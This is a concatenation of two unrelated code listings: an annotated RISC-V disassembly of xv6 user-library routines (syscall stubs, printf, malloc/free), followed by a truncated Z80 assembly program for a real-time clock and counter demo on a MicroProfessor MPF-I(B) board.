3dc: 8082 ret
00000000000003de <chdir>:
.global chdir
chdir:
li a7, SYS_chdir
3de: 48a5 li a7,9
ecall
3e0: 00000073 ecall
ret
3e4: 8082 ret
00000000000003e6 <dup>:
.global dup
dup:
li a7, SYS_dup
3e6: 48a9 li a7,10
ecall
3e8: 00000073 ecall
ret
3ec: 8082 ret
00000000000003ee <getpid>:
.global getpid
getpid:
li a7, SYS_getpid
3ee: 48ad li a7,11
ecall
3f0: 00000073 ecall
ret
3f4: 8082 ret
00000000000003f6 <sbrk>:
.global sbrk
sbrk:
li a7, SYS_sbrk
3f6: 48b1 li a7,12
ecall
3f8: 00000073 ecall
ret
3fc: 8082 ret
00000000000003fe <sleep>:
.global sleep
sleep:
li a7, SYS_sleep
3fe: 48b5 li a7,13
ecall
400: 00000073 ecall
ret
404: 8082 ret
0000000000000406 <uptime>:
.global uptime
uptime:
li a7, SYS_uptime
406: 48b9 li a7,14
ecall
408: 00000073 ecall
ret
40c: 8082 ret
000000000000040e <putc>:
static char digits[] = "0123456789ABCDEF";
static void
putc(int fd, char c)
{
40e: 1101 addi sp,sp,-32
410: ec06 sd ra,24(sp)
412: e822 sd s0,16(sp)
414: 1000 addi s0,sp,32
416: feb407a3 sb a1,-17(s0)
write(fd, &c, 1);
41a: 4605 li a2,1
41c: fef40593 addi a1,s0,-17
420: 00000097 auipc ra,0x0
424: f6e080e7 jalr -146(ra) # 38e <write>
}
428: 60e2 ld ra,24(sp)
42a: 6442 ld s0,16(sp)
42c: 6105 addi sp,sp,32
42e: 8082 ret
0000000000000430 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
430: 7139 addi sp,sp,-64
432: fc06 sd ra,56(sp)
434: f822 sd s0,48(sp)
436: f426 sd s1,40(sp)
438: f04a sd s2,32(sp)
43a: ec4e sd s3,24(sp)
43c: 0080 addi s0,sp,64
43e: 84aa mv s1,a0
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
440: c299 beqz a3,446 <printint+0x16>
442: 0805c863 bltz a1,4d2 <printint+0xa2>
neg = 1;
x = -xx;
} else {
x = xx;
446: 2581 sext.w a1,a1
neg = 0;
448: 4881 li a7,0
44a: fc040693 addi a3,s0,-64
}
i = 0;
44e: 4701 li a4,0
do{
buf[i++] = digits[x % base];
450: 2601 sext.w a2,a2
452: 00000517 auipc a0,0x0
456: 46e50513 addi a0,a0,1134 # 8c0 <digits>
45a: 883a mv a6,a4
45c: 2705 addiw a4,a4,1
45e: 02c5f7bb remuw a5,a1,a2
462: 1782 slli a5,a5,0x20
464: 9381 srli a5,a5,0x20
466: 97aa add a5,a5,a0
468: 0007c783 lbu a5,0(a5)
46c: 00f68023 sb a5,0(a3)
}while((x /= base) != 0);
470: 0005879b sext.w a5,a1
474: 02c5d5bb divuw a1,a1,a2
478: 0685 addi a3,a3,1
47a: fec7f0e3 bgeu a5,a2,45a <printint+0x2a>
if(neg)
47e: 00088b63 beqz a7,494 <printint+0x64>
buf[i++] = '-';
482: fd040793 addi a5,s0,-48
486: 973e add a4,a4,a5
488: 02d00793 li a5,45
48c: fef70823 sb a5,-16(a4)
490: 0028071b addiw a4,a6,2
while(--i >= 0)
494: 02e05863 blez a4,4c4 <printint+0x94>
498: fc040793 addi a5,s0,-64
49c: 00e78933 add s2,a5,a4
4a0: fff78993 addi s3,a5,-1
4a4: 99ba add s3,s3,a4
4a6: 377d addiw a4,a4,-1
4a8: 1702 slli a4,a4,0x20
4aa: 9301 srli a4,a4,0x20
4ac: 40e989b3 sub s3,s3,a4
putc(fd, buf[i]);
4b0: fff94583 lbu a1,-1(s2)
4b4: 8526 mv a0,s1
4b6: 00000097 auipc ra,0x0
4ba: f58080e7 jalr -168(ra) # 40e <putc>
while(--i >= 0)
4be: 197d addi s2,s2,-1
4c0: ff3918e3 bne s2,s3,4b0 <printint+0x80>
}
4c4: 70e2 ld ra,56(sp)
4c6: 7442 ld s0,48(sp)
4c8: 74a2 ld s1,40(sp)
4ca: 7902 ld s2,32(sp)
4cc: 69e2 ld s3,24(sp)
4ce: 6121 addi sp,sp,64
4d0: 8082 ret
x = -xx;
4d2: 40b005bb negw a1,a1
neg = 1;
4d6: 4885 li a7,1
x = -xx;
4d8: bf8d j 44a <printint+0x1a>
00000000000004da <vprintf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
vprintf(int fd, const char *fmt, va_list ap)
{
4da: 7119 addi sp,sp,-128
4dc: fc86 sd ra,120(sp)
4de: f8a2 sd s0,112(sp)
4e0: f4a6 sd s1,104(sp)
4e2: f0ca sd s2,96(sp)
4e4: ecce sd s3,88(sp)
4e6: e8d2 sd s4,80(sp)
4e8: e4d6 sd s5,72(sp)
4ea: e0da sd s6,64(sp)
4ec: fc5e sd s7,56(sp)
4ee: f862 sd s8,48(sp)
4f0: f466 sd s9,40(sp)
4f2: f06a sd s10,32(sp)
4f4: ec6e sd s11,24(sp)
4f6: 0100 addi s0,sp,128
char *s;
int c, i, state;
state = 0;
for(i = 0; fmt[i]; i++){
4f8: 0005c903 lbu s2,0(a1)
4fc: 18090f63 beqz s2,69a <vprintf+0x1c0>
500: 8aaa mv s5,a0
502: 8b32 mv s6,a2
504: 00158493 addi s1,a1,1
state = 0;
508: 4981 li s3,0
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
50a: 02500a13 li s4,37
if(c == 'd'){
50e: 06400c13 li s8,100
printint(fd, va_arg(ap, int), 10, 1);
} else if(c == 'l') {
512: 06c00c93 li s9,108
printint(fd, va_arg(ap, uint64), 10, 0);
} else if(c == 'x') {
516: 07800d13 li s10,120
printint(fd, va_arg(ap, int), 16, 0);
} else if(c == 'p') {
51a: 07000d93 li s11,112
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
51e: 00000b97 auipc s7,0x0
522: 3a2b8b93 addi s7,s7,930 # 8c0 <digits>
526: a839 j 544 <vprintf+0x6a>
putc(fd, c);
528: 85ca mv a1,s2
52a: 8556 mv a0,s5
52c: 00000097 auipc ra,0x0
530: ee2080e7 jalr -286(ra) # 40e <putc>
534: a019 j 53a <vprintf+0x60>
} else if(state == '%'){
536: 01498f63 beq s3,s4,554 <vprintf+0x7a>
for(i = 0; fmt[i]; i++){
53a: 0485 addi s1,s1,1
53c: fff4c903 lbu s2,-1(s1)
540: 14090d63 beqz s2,69a <vprintf+0x1c0>
c = fmt[i] & 0xff;
544: 0009079b sext.w a5,s2
if(state == 0){
548: fe0997e3 bnez s3,536 <vprintf+0x5c>
if(c == '%'){
54c: fd479ee3 bne a5,s4,528 <vprintf+0x4e>
state = '%';
550: 89be mv s3,a5
552: b7e5 j 53a <vprintf+0x60>
if(c == 'd'){
554: 05878063 beq a5,s8,594 <vprintf+0xba>
} else if(c == 'l') {
558: 05978c63 beq a5,s9,5b0 <vprintf+0xd6>
} else if(c == 'x') {
55c: 07a78863 beq a5,s10,5cc <vprintf+0xf2>
} else if(c == 'p') {
560: 09b78463 beq a5,s11,5e8 <vprintf+0x10e>
printptr(fd, va_arg(ap, uint64));
} else if(c == 's'){
564: 07300713 li a4,115
568: 0ce78663 beq a5,a4,634 <vprintf+0x15a>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
56c: 06300713 li a4,99
570: 0ee78e63 beq a5,a4,66c <vprintf+0x192>
putc(fd, va_arg(ap, uint));
} else if(c == '%'){
574: 11478863 beq a5,s4,684 <vprintf+0x1aa>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
578: 85d2 mv a1,s4
57a: 8556 mv a0,s5
57c: 00000097 auipc ra,0x0
580: e92080e7 jalr -366(ra) # 40e <putc>
putc(fd, c);
584: 85ca mv a1,s2
586: 8556 mv a0,s5
588: 00000097 auipc ra,0x0
58c: e86080e7 jalr -378(ra) # 40e <putc>
}
state = 0;
590: 4981 li s3,0
592: b765 j 53a <vprintf+0x60>
printint(fd, va_arg(ap, int), 10, 1);
594: 008b0913 addi s2,s6,8
598: 4685 li a3,1
59a: 4629 li a2,10
59c: 000b2583 lw a1,0(s6)
5a0: 8556 mv a0,s5
5a2: 00000097 auipc ra,0x0
5a6: e8e080e7 jalr -370(ra) # 430 <printint>
5aa: 8b4a mv s6,s2
state = 0;
5ac: 4981 li s3,0
5ae: b771 j 53a <vprintf+0x60>
printint(fd, va_arg(ap, uint64), 10, 0);
5b0: 008b0913 addi s2,s6,8
5b4: 4681 li a3,0
5b6: 4629 li a2,10
5b8: 000b2583 lw a1,0(s6)
5bc: 8556 mv a0,s5
5be: 00000097 auipc ra,0x0
5c2: e72080e7 jalr -398(ra) # 430 <printint>
5c6: 8b4a mv s6,s2
state = 0;
5c8: 4981 li s3,0
5ca: bf85 j 53a <vprintf+0x60>
printint(fd, va_arg(ap, int), 16, 0);
5cc: 008b0913 addi s2,s6,8
5d0: 4681 li a3,0
5d2: 4641 li a2,16
5d4: 000b2583 lw a1,0(s6)
5d8: 8556 mv a0,s5
5da: 00000097 auipc ra,0x0
5de: e56080e7 jalr -426(ra) # 430 <printint>
5e2: 8b4a mv s6,s2
state = 0;
5e4: 4981 li s3,0
5e6: bf91 j 53a <vprintf+0x60>
printptr(fd, va_arg(ap, uint64));
5e8: 008b0793 addi a5,s6,8
5ec: f8f43423 sd a5,-120(s0)
5f0: 000b3983 ld s3,0(s6)
putc(fd, '0');
5f4: 03000593 li a1,48
5f8: 8556 mv a0,s5
5fa: 00000097 auipc ra,0x0
5fe: e14080e7 jalr -492(ra) # 40e <putc>
putc(fd, 'x');
602: 85ea mv a1,s10
604: 8556 mv a0,s5
606: 00000097 auipc ra,0x0
60a: e08080e7 jalr -504(ra) # 40e <putc>
60e: 4941 li s2,16
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
610: 03c9d793 srli a5,s3,0x3c
614: 97de add a5,a5,s7
616: 0007c583 lbu a1,0(a5)
61a: 8556 mv a0,s5
61c: 00000097 auipc ra,0x0
620: df2080e7 jalr -526(ra) # 40e <putc>
for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4)
624: 0992 slli s3,s3,0x4
626: 397d addiw s2,s2,-1
628: fe0914e3 bnez s2,610 <vprintf+0x136>
printptr(fd, va_arg(ap, uint64));
62c: f8843b03 ld s6,-120(s0)
state = 0;
630: 4981 li s3,0
632: b721 j 53a <vprintf+0x60>
s = va_arg(ap, char*);
634: 008b0993 addi s3,s6,8
638: 000b3903 ld s2,0(s6)
if(s == 0)
63c: 02090163 beqz s2,65e <vprintf+0x184>
while(*s != 0){
640: 00094583 lbu a1,0(s2)
644: c9a1 beqz a1,694 <vprintf+0x1ba>
putc(fd, *s);
646: 8556 mv a0,s5
648: 00000097 auipc ra,0x0
64c: dc6080e7 jalr -570(ra) # 40e <putc>
s++;
650: 0905 addi s2,s2,1
while(*s != 0){
652: 00094583 lbu a1,0(s2)
656: f9e5 bnez a1,646 <vprintf+0x16c>
s = va_arg(ap, char*);
658: 8b4e mv s6,s3
state = 0;
65a: 4981 li s3,0
65c: bdf9 j 53a <vprintf+0x60>
s = "(null)";
65e: 00000917 auipc s2,0x0
662: 25a90913 addi s2,s2,602 # 8b8 <malloc+0x114>
while(*s != 0){
666: 02800593 li a1,40
66a: bff1 j 646 <vprintf+0x16c>
putc(fd, va_arg(ap, uint));
66c: 008b0913 addi s2,s6,8
670: 000b4583 lbu a1,0(s6)
674: 8556 mv a0,s5
676: 00000097 auipc ra,0x0
67a: d98080e7 jalr -616(ra) # 40e <putc>
67e: 8b4a mv s6,s2
state = 0;
680: 4981 li s3,0
682: bd65 j 53a <vprintf+0x60>
putc(fd, c);
684: 85d2 mv a1,s4
686: 8556 mv a0,s5
688: 00000097 auipc ra,0x0
68c: d86080e7 jalr -634(ra) # 40e <putc>
state = 0;
690: 4981 li s3,0
692: b565 j 53a <vprintf+0x60>
s = va_arg(ap, char*);
694: 8b4e mv s6,s3
state = 0;
696: 4981 li s3,0
698: b54d j 53a <vprintf+0x60>
}
}
}
69a: 70e6 ld ra,120(sp)
69c: 7446 ld s0,112(sp)
69e: 74a6 ld s1,104(sp)
6a0: 7906 ld s2,96(sp)
6a2: 69e6 ld s3,88(sp)
6a4: 6a46 ld s4,80(sp)
6a6: 6aa6 ld s5,72(sp)
6a8: 6b06 ld s6,64(sp)
6aa: 7be2 ld s7,56(sp)
6ac: 7c42 ld s8,48(sp)
6ae: 7ca2 ld s9,40(sp)
6b0: 7d02 ld s10,32(sp)
6b2: 6de2 ld s11,24(sp)
6b4: 6109 addi sp,sp,128
6b6: 8082 ret
00000000000006b8 <fprintf>:
void
fprintf(int fd, const char *fmt, ...)
{
6b8: 715d addi sp,sp,-80
6ba: ec06 sd ra,24(sp)
6bc: e822 sd s0,16(sp)
6be: 1000 addi s0,sp,32
6c0: e010 sd a2,0(s0)
6c2: e414 sd a3,8(s0)
6c4: e818 sd a4,16(s0)
6c6: ec1c sd a5,24(s0)
6c8: 03043023 sd a6,32(s0)
6cc: 03143423 sd a7,40(s0)
va_list ap;
va_start(ap, fmt);
6d0: fe843423 sd s0,-24(s0)
vprintf(fd, fmt, ap);
6d4: 8622 mv a2,s0
6d6: 00000097 auipc ra,0x0
6da: e04080e7 jalr -508(ra) # 4da <vprintf>
}
6de: 60e2 ld ra,24(sp)
6e0: 6442 ld s0,16(sp)
6e2: 6161 addi sp,sp,80
6e4: 8082 ret
00000000000006e6 <printf>:
void
printf(const char *fmt, ...)
{
6e6: 711d addi sp,sp,-96
6e8: ec06 sd ra,24(sp)
6ea: e822 sd s0,16(sp)
6ec: 1000 addi s0,sp,32
6ee: e40c sd a1,8(s0)
6f0: e810 sd a2,16(s0)
6f2: ec14 sd a3,24(s0)
6f4: f018 sd a4,32(s0)
6f6: f41c sd a5,40(s0)
6f8: 03043823 sd a6,48(s0)
6fc: 03143c23 sd a7,56(s0)
va_list ap;
va_start(ap, fmt);
700: 00840613 addi a2,s0,8
704: fec43423 sd a2,-24(s0)
vprintf(1, fmt, ap);
708: 85aa mv a1,a0
70a: 4505 li a0,1
70c: 00000097 auipc ra,0x0
710: dce080e7 jalr -562(ra) # 4da <vprintf>
}
714: 60e2 ld ra,24(sp)
716: 6442 ld s0,16(sp)
718: 6125 addi sp,sp,96
71a: 8082 ret
000000000000071c <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
71c: 1141 addi sp,sp,-16
71e: e422 sd s0,8(sp)
720: 0800 addi s0,sp,16
Header *bp, *p;
bp = (Header*)ap - 1;
722: ff050693 addi a3,a0,-16
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
726: 00000797 auipc a5,0x0
72a: 1b27b783 ld a5,434(a5) # 8d8 <freep>
72e: a805 j 75e <free+0x42>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
730: 4618 lw a4,8(a2)
732: 9db9 addw a1,a1,a4
734: feb52c23 sw a1,-8(a0)
bp->s.ptr = p->s.ptr->s.ptr;
738: 6398 ld a4,0(a5)
73a: 6318 ld a4,0(a4)
73c: fee53823 sd a4,-16(a0)
740: a091 j 784 <free+0x68>
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
742: ff852703 lw a4,-8(a0)
746: 9e39 addw a2,a2,a4
748: c790 sw a2,8(a5)
p->s.ptr = bp->s.ptr;
74a: ff053703 ld a4,-16(a0)
74e: e398 sd a4,0(a5)
750: a099 j 796 <free+0x7a>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
752: 6398 ld a4,0(a5)
754: 00e7e463 bltu a5,a4,75c <free+0x40>
758: 00e6ea63 bltu a3,a4,76c <free+0x50>
{
75c: 87ba mv a5,a4
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
75e: fed7fae3 bgeu a5,a3,752 <free+0x36>
762: 6398 ld a4,0(a5)
764: 00e6e463 bltu a3,a4,76c <free+0x50>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
768: fee7eae3 bltu a5,a4,75c <free+0x40>
if(bp + bp->s.size == p->s.ptr){
76c: ff852583 lw a1,-8(a0)
770: 6390 ld a2,0(a5)
772: 02059713 slli a4,a1,0x20
776: 9301 srli a4,a4,0x20
778: 0712 slli a4,a4,0x4
77a: 9736 add a4,a4,a3
77c: fae60ae3 beq a2,a4,730 <free+0x14>
bp->s.ptr = p->s.ptr;
780: fec53823 sd a2,-16(a0)
if(p + p->s.size == bp){
784: 4790 lw a2,8(a5)
786: 02061713 slli a4,a2,0x20
78a: 9301 srli a4,a4,0x20
78c: 0712 slli a4,a4,0x4
78e: 973e add a4,a4,a5
790: fae689e3 beq a3,a4,742 <free+0x26>
} else
p->s.ptr = bp;
794: e394 sd a3,0(a5)
freep = p;
796: 00000717 auipc a4,0x0
79a: 14f73123 sd a5,322(a4) # 8d8 <freep>
}
79e: 6422 ld s0,8(sp)
7a0: 0141 addi sp,sp,16
7a2: 8082 ret
00000000000007a4 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
7a4: 7139 addi sp,sp,-64
7a6: fc06 sd ra,56(sp)
7a8: f822 sd s0,48(sp)
7aa: f426 sd s1,40(sp)
7ac: f04a sd s2,32(sp)
7ae: ec4e sd s3,24(sp)
7b0: e852 sd s4,16(sp)
7b2: e456 sd s5,8(sp)
7b4: e05a sd s6,0(sp)
7b6: 0080 addi s0,sp,64
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7b8: 02051493 slli s1,a0,0x20
7bc: 9081 srli s1,s1,0x20
7be: 04bd addi s1,s1,15
7c0: 8091 srli s1,s1,0x4
7c2: 0014899b addiw s3,s1,1
7c6: 0485 addi s1,s1,1
if((prevp = freep) == 0){
7c8: 00000517 auipc a0,0x0
7cc: 11053503 ld a0,272(a0) # 8d8 <freep>
7d0: c515 beqz a0,7fc <malloc+0x58>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7d2: 611c ld a5,0(a0)
if(p->s.size >= nunits){
7d4: 4798 lw a4,8(a5)
7d6: 02977f63 bgeu a4,s1,814 <malloc+0x70>
7da: 8a4e mv s4,s3
7dc: 0009871b sext.w a4,s3
7e0: 6685 lui a3,0x1
7e2: 00d77363 bgeu a4,a3,7e8 <malloc+0x44>
7e6: 6a05 lui s4,0x1
7e8: 000a0b1b sext.w s6,s4
p = sbrk(nu * sizeof(Header));
7ec: 004a1a1b slliw s4,s4,0x4
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
7f0: 00000917 auipc s2,0x0
7f4: 0e890913 addi s2,s2,232 # 8d8 <freep>
if(p == (char*)-1)
7f8: 5afd li s5,-1
7fa: a88d j 86c <malloc+0xc8>
base.s.ptr = freep = prevp = &base;
7fc: 00000797 auipc a5,0x0
800: 0e478793 addi a5,a5,228 # 8e0 <base>
804: 00000717 auipc a4,0x0
808: 0cf73a23 sd a5,212(a4) # 8d8 <freep>
80c: e39c sd a5,0(a5)
base.s.size = 0;
80e: 0007a423 sw zero,8(a5)
if(p->s.size >= nunits){
812: b7e1 j 7da <malloc+0x36>
if(p->s.size == nunits)
814: 02e48b63 beq s1,a4,84a <malloc+0xa6>
p->s.size -= nunits;
818: 4137073b subw a4,a4,s3
81c: c798 sw a4,8(a5)
p += p->s.size;
81e: 1702 slli a4,a4,0x20
820: 9301 srli a4,a4,0x20
822: 0712 slli a4,a4,0x4
824: 97ba add a5,a5,a4
p->s.size = nunits;
826: 0137a423 sw s3,8(a5)
freep = prevp;
82a: 00000717 auipc a4,0x0
82e: 0aa73723 sd a0,174(a4) # 8d8 <freep>
return (void*)(p + 1);
832: 01078513 addi a0,a5,16
if((p = morecore(nunits)) == 0)
return 0;
}
}
836: 70e2 ld ra,56(sp)
838: 7442 ld s0,48(sp)
83a: 74a2 ld s1,40(sp)
83c: 7902 ld s2,32(sp)
83e: 69e2 ld s3,24(sp)
840: 6a42 ld s4,16(sp)
842: 6aa2 ld s5,8(sp)
844: 6b02 ld s6,0(sp)
846: 6121 addi sp,sp,64
848: 8082 ret
prevp->s.ptr = p->s.ptr;
84a: 6398 ld a4,0(a5)
84c: e118 sd a4,0(a0)
84e: bff1 j 82a <malloc+0x86>
hp->s.size = nu;
850: 01652423 sw s6,8(a0)
free((void*)(hp + 1));
854: 0541 addi a0,a0,16
856: 00000097 auipc ra,0x0
85a: ec6080e7 jalr -314(ra) # 71c <free>
return freep;
85e: 00093503 ld a0,0(s2)
if((p = morecore(nunits)) == 0)
862: d971 beqz a0,836 <malloc+0x92>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
864: 611c ld a5,0(a0)
if(p->s.size >= nunits){
866: 4798 lw a4,8(a5)
868: fa9776e3 bgeu a4,s1,814 <malloc+0x70>
if(p == freep)
86c: 00093703 ld a4,0(s2)
870: 853e mv a0,a5
872: fef719e3 bne a4,a5,864 <malloc+0xc0>
p = sbrk(nu * sizeof(Header));
876: 8552 mv a0,s4
878: 00000097 auipc ra,0x0
87c: b7e080e7 jalr -1154(ra) # 3f6 <sbrk>
if(p == (char*)-1)
880: fd5518e3 bne a0,s5,850 <malloc+0xac>
return 0;
884: 4501 li a0,0
886: bf45 j 836 <malloc+0x92>
|
; RTC & CTC demo program for MicroProfessor MPF-I(B)
; Based on Zilog Z80 Family Data Book, January 1989, p 366
; by fjkraan@electrickery 2022-01-28
; z80asm version (https://github.com/udo-munk/z80pack/tree/master/z80asm)
; This program assumes a CTC at port 40h and the standard MPF-I(B) hex
; display.
; MPF-I CPU clock: 1.79 MHz. A prescaler of 256 and a time constant of 84
; and a division of again 83 in the ISR results in a counter update
; interval of approx. 1 s.
; RTCCLOCK version 0.3, 2022-02-05
; Memory organisation
RAM: EQU 1980h
ROM: EQU 2200h
RAMSIZ: EQU 90h
; CTC ports
CTCBASE:EQU 40h
CTC0: EQU CTCBASE + 0 ;CTC 0 PORT
CTC1: EQU CTCBASE + 1 ;CTC 1 PORT
CTC2: EQU CTCBASE + 2 ;CTC 2 PORT
CTC3: EQU CTCBASE + 3 ;CTC 3 PORT
LITES: EQU 0C0h ;LIGHT PORT for debug
; CTC Constants
CCW: EQU 1
INTEN: EQU 80h ; Interrupt enable
CTRMODE:EQU 40h ; Counter mode
P256: EQU 20h ; Prescaler 256
RISEDO: EQU 10h ; Rising Edge Trigger
PSTRT: EQU 8 ; Trigger by CLK/TRG
TCLOAD: EQU 4 ; Time constant in following byte load (TIME)
RESET: EQU 2 ; Software Reset
TIMER: EQU 84 ; CTC TIMER VALUE
COUNTER:EQU 83 ; ISR COUNT value
; PIO ports
PIOBASE:EQU 080h
PIODA: EQU PIOBASE + 0 ; DATA PORT OF PIO CHANNEL A; address & control: output
R_ADCT: EQU PIODA
PIODB: EQU PIOBASE + 1 ; DATA PORT OF PIO CHANNEL B; data read/write: input & output
R_DATA: EQU PIODB
PIOCA: EQU PIOBASE + 2 ; CONTROL PORT OF PIO CHANNEL A; address & control: output
R_ACDR: EQU PIOCA
PIOCB: EQU PIOBASE + 3 ; CONTROL PORT OF PIO CHANNEL B; data read/write: input & output
R_DDRR: EQU PIOCB ; rtc data port direction register
; PIO Constants
PIODW: EQU 00001111b ; mode 0: output
PIODR: EQU 01001111b ; mode 1: input
PIOICW: EQU 00000111b ; Interrupt Control Word: disable interrupt
PIOIDW: EQU 00000011b ; Interrupt Disable Word: disable interrupt
; Z80 PIO bits to MSM5832 RTC pin mapping
RTCHOLD EQU 010h
RTCREAD EQU 020h
RTCWRIT EQU 040h
RTCDMSK EQU 00Fh ; RTC address mask
RTCNORD EQU RTCREAD ^ 0FFh
RTCNOWR EQU RTCWRIT ^ 0FFh
; masks in dual BCD mode as used in READ_C and WRITE_C
RTC_MIM EQU 01111111b ; minute mask
RTC_AM EQU 00000000b ;
RTC_PM EQU 01000000b ; the PM clock bit
RTC_12h EQU 00000000b ;
RTC_24h EQU 10000000b ; the 24 hour clock bit in dual BCD mode
RTC_HRM EQU (RTC_PM | RTC_24h) ^ 0FFh ; reverse mask for the extra bits
RTC_lpy EQU 01000000b ; leap year flag for Feb 29, D2 > bit 6
RTC_DYM EQU RTC_lpy ^ 0FFh ; reverse mask
RTC_MNM EQU 00011111b ; month mask
; MSM5832 registers: most values use two addresses, but not the day-in-week
SC1AD: EQU 0 ; second
MI1AD: EQU 2 ; minute
HR1AD: EQU 4 ; hour, HR10AD uses D2 for AM/PM, D3 for 12/24 hour clock
WDAD: EQU 6 ; day-in-week
DY1AD: EQU 7 ; day-in month
MO1AD: EQU 9 ; month
YR1AD: EQU 11 ; year in century
; DJNZ = (13 Tstates) * W150C + 8 T states. (152,5 us + 4.5 us) = 157 us
W150C: EQU 21 ; ~150us at 1.79 MHz
; Monitor ROM routines
SCAN: EQU 05FEh ;
SCAN1: EQU 0624h ; input: (IX), output: carry & A
HEX7SEG:EQU 0678h ; input: A (2 * BCD), output (HL). HL+2
; RAM organisation
ORG RAM
MANBUF: ; buffer to store BCD values when manually setting time and date
DEFB 00 ; seconds MANBUF+0
DEFB 00 ; minutes MANBUF+1
DEFB 00 ; hours MANBUF+2
DEFB 00 ; day-of-week
DEFB 00 ; days MANBUF+4
DEFB 00 ; months MANBUF+5
DEFB 00 ; years MANBUF+6
RTCBUF: ; data here stored as binary
DEFB 00 ; seconds RTCBUF+0
DEFB 00 ; minutes RTCBUF+1
DEFB 00 ; hours RTCBUF+2
DEFB 00 ; day-of-week
DEFB 00 ; days RTCBUF+4
DEFB 00 ; months RTCBUF+5
DEFB 00 ; years RTCBUF+6
DISPBUF: ; six digits, from right to left
DEFW 0000 ; seconds / years
DEFW 0000 ; minutes / months
DEFW 0000 ; hours / days
DEFS 64 ;STACK AREA
STAK: EQU $
COUNT: DEFS 1 ;ICT COUNT VALUE
SECFLAG:DEFS 1 ; second boundary flag, triggers RTCBUF update
RTCRDFL:DEFS 1 ; clock update from RTC flag, triggers READ_C call
POINTON:DEFS 1 ; point on right digit on flag, used to flag an RTC access
POINTBT:EQU 01000000b ; the point is bit 6. UM, p37
MROFFS: EQU RTCBUF - MANBUF ; This offset is handy with LD (IX+MROFFS),A
RB_SC: EQU RTCBUF + 0
RB_MI: EQU RTCBUF + 1
RB_HR: EQU RTCBUF + 2
;; *** MAIN PROGRAM ***
ORG ROM
JP BEGIN
SETRTC:
CALL SETRBUF
RST 0
GETRTC:
CALL READ_C
RST 0
ORG $ & 0FFF0h | 10h
INTVEC:
DEFW ICTC0
DEFW ICTC1
DEFW ICTC2
DEFW ICTC3
BEGIN:
LD SP,STAK ;INIT SP
IM 2 ;VECTOR INTERRUPT MODE
LD A,INTVEC / 256 ;UPPER VECTOR BYTE
LD I,A
CALL INIT ;INIT DEVICES (CTC & memory)
LD A, 1
LD (RTCRDFL), A ; trigger RTC read
EI ;ALLOW INTERRUPTS
LOOP:
LD A, (SECFLAG)
CP 1
LD A, 0 ; clear secflag, regardless of state
LD (SECFLAG), A
JP NZ, NO_SEC ; part below only once per second
LD A, (RTCRDFL)
CP 1
JR NZ, NO_RTC ;
CALL READ_C
NO_RTC: ; no RTC access
CALL UPDTIME
NO_SEC: ; no second passed
CALL DSP ; Show time on display
JR LOOP ;LOOP FOREVER
INIT:
; PIO Channel pre-config
LD A, PIOIDW
OUT (PIOCA), A ; channel A interrupt disable
OUT (PIOCB), B ; channel B interrupt disable
; PIO Channel A final configuration, address & control port
LD A, 0h
OUT (R_ADCT), A ; zero addr/ctrl before setting output mode
LD A, PIODW
OUT (R_ACDR), A ; addr/ctrl port, channel A output mode
; PIO Channel B initial configuration, data port
LD A, 0h
OUT (R_ADCT), A ; zero data before setting output mode
LD A, PIODR
OUT (R_DDRR), A ; data port, channel B input mode
; CTC0 init
LD A, INTEN + P256 + TCLOAD + RESET + CCW
OUT (CTC0), A ;SET CTC MODE
LD A, TIMER
OUT (CTC0), A ;SET TIME CONSTANT
LD A, INTVEC & 11111110b
OUT (CTC0), A ;SET VECTOR VALUE
LD A, COUNTER ;INIT COUNTER VALUE
LD (COUNT), A
XOR A
LD (SECFLAG), A
; display memory init
LD (DISPBUF), A ; clear display buffer
LD (DISPBUF + 1), A
LD (DISPBUF + 2), A
LD (DISPBUF + 3), A
LD (DISPBUF + 4), A
LD (DISPBUF + 5), A
LD A, 01010101b
OUT (LITES), A
RET
UPDTIME:
; update seconds up to 60
; update minutes up to 60 when seconds == 60, reset seconds
; update hours up to 24 when minutes == 60, reset minutes
; update date when hours == 24, reset hours
; ....
LD A, (RB_SC)
INC A
CP 60
JR Z, UT_S0
LD (RB_SC), A
JR UPDDONE
UT_S0:
LD A, 0
LD (RB_SC), A ; set seconds to zero
LD A, (RB_MI)
INC A ; update minutes
CP 60
JR Z, UT_M0
LD (RB_MI), A
JR UPDDONE
UT_M0:
LD A, 1
LD (RTCRDFL), A ; set flag to trigger RTC read
LD A, 0
LD (RB_MI), A ; set minutes to zero
LD A, (RB_HR)
INC A ; update hours
CP 24
JR Z, UT_H0
LD (RB_HR), A
JR UPDDONE
UT_H0: ; date update not implemented yet;
LD A, 0
LD (RB_HR), A ; set hours to zero
UPDDONE:
RET
DSP:
LD HL, DISPBUF ; point to rightmost value
LD BC, RTCBUF
LD A, (BC)
CALL BIN2BCD
CALL HEX7SEG
CALL POINTM
INC BC ; points to minutes value
LD A, (BC)
CALL BIN2BCD
CALL HEX7SEG
INC BC ; points to hours value
LD A, (BC)
CALL BIN2BCD
CALL HEX7SEG
LD IX, DISPBUF
CALL SCAN1 ; call ROM display routine
RET
POINTM:
PUSH AF
LD A, (POINTON)
ADD A, 0
